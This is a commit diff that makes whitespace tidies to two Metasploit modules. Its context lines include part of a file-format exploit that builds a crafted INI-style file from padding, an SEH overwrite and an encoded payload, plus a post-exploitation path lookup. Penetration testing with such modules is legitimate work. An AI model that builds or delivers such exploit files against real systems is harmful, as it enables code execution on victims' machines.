Small msftidies
parent
42a730745e
commit
63751c1d1a
|
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Mike Czumak', # (T_v3rn1x) -- @SecuritySift
|
'Mike Czumak', # (T_v3rn1x) -- @SecuritySift
|
||||||
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' # Metasploit module
|
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' # Metasploit module
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
|
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
buffer = "[Support Groups]\r\nVideo="
|
buffer = "[Support Groups]\r\nVideo="
|
||||||
buffer << rand_text(target['Offset'])
|
buffer << rand_text(target['Offset'])
|
||||||
buffer << generate_seh_payload(target.ret)
|
buffer << generate_seh_payload(target.ret)
|
||||||
buffer << payload.encoded
|
buffer << payload.encoded
|
||||||
buffer << "\r\n[AssociateType]\r\nAssociateType =1"
|
buffer << "\r\n[AssociateType]\r\nAssociateType =1"
|
||||||
|
|
||||||
file_create(buffer)
|
file_create(buffer)
|
||||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Post
|
||||||
# Windows Vista and upwards points to ProgramData!
|
# Windows Vista and upwards points to ProgramData!
|
||||||
all_users = expand_path("%ALLUSERSPROFILE%")
|
all_users = expand_path("%ALLUSERSPROFILE%")
|
||||||
|
|
||||||
if all_users.include? 'ProgramData'
|
if all_users.include? 'ProgramData'
|
||||||
all_users.gsub!('ProgramData','Users\\All Users')
|
all_users.gsub!('ProgramData','Users\\All Users')
|
||||||
else
|
else
|
||||||
all_users = "#{all_users}\\Application Data"
|
all_users = "#{all_users}\\Application Data"
|
||||||
|
|
Loading…
Reference in New Issue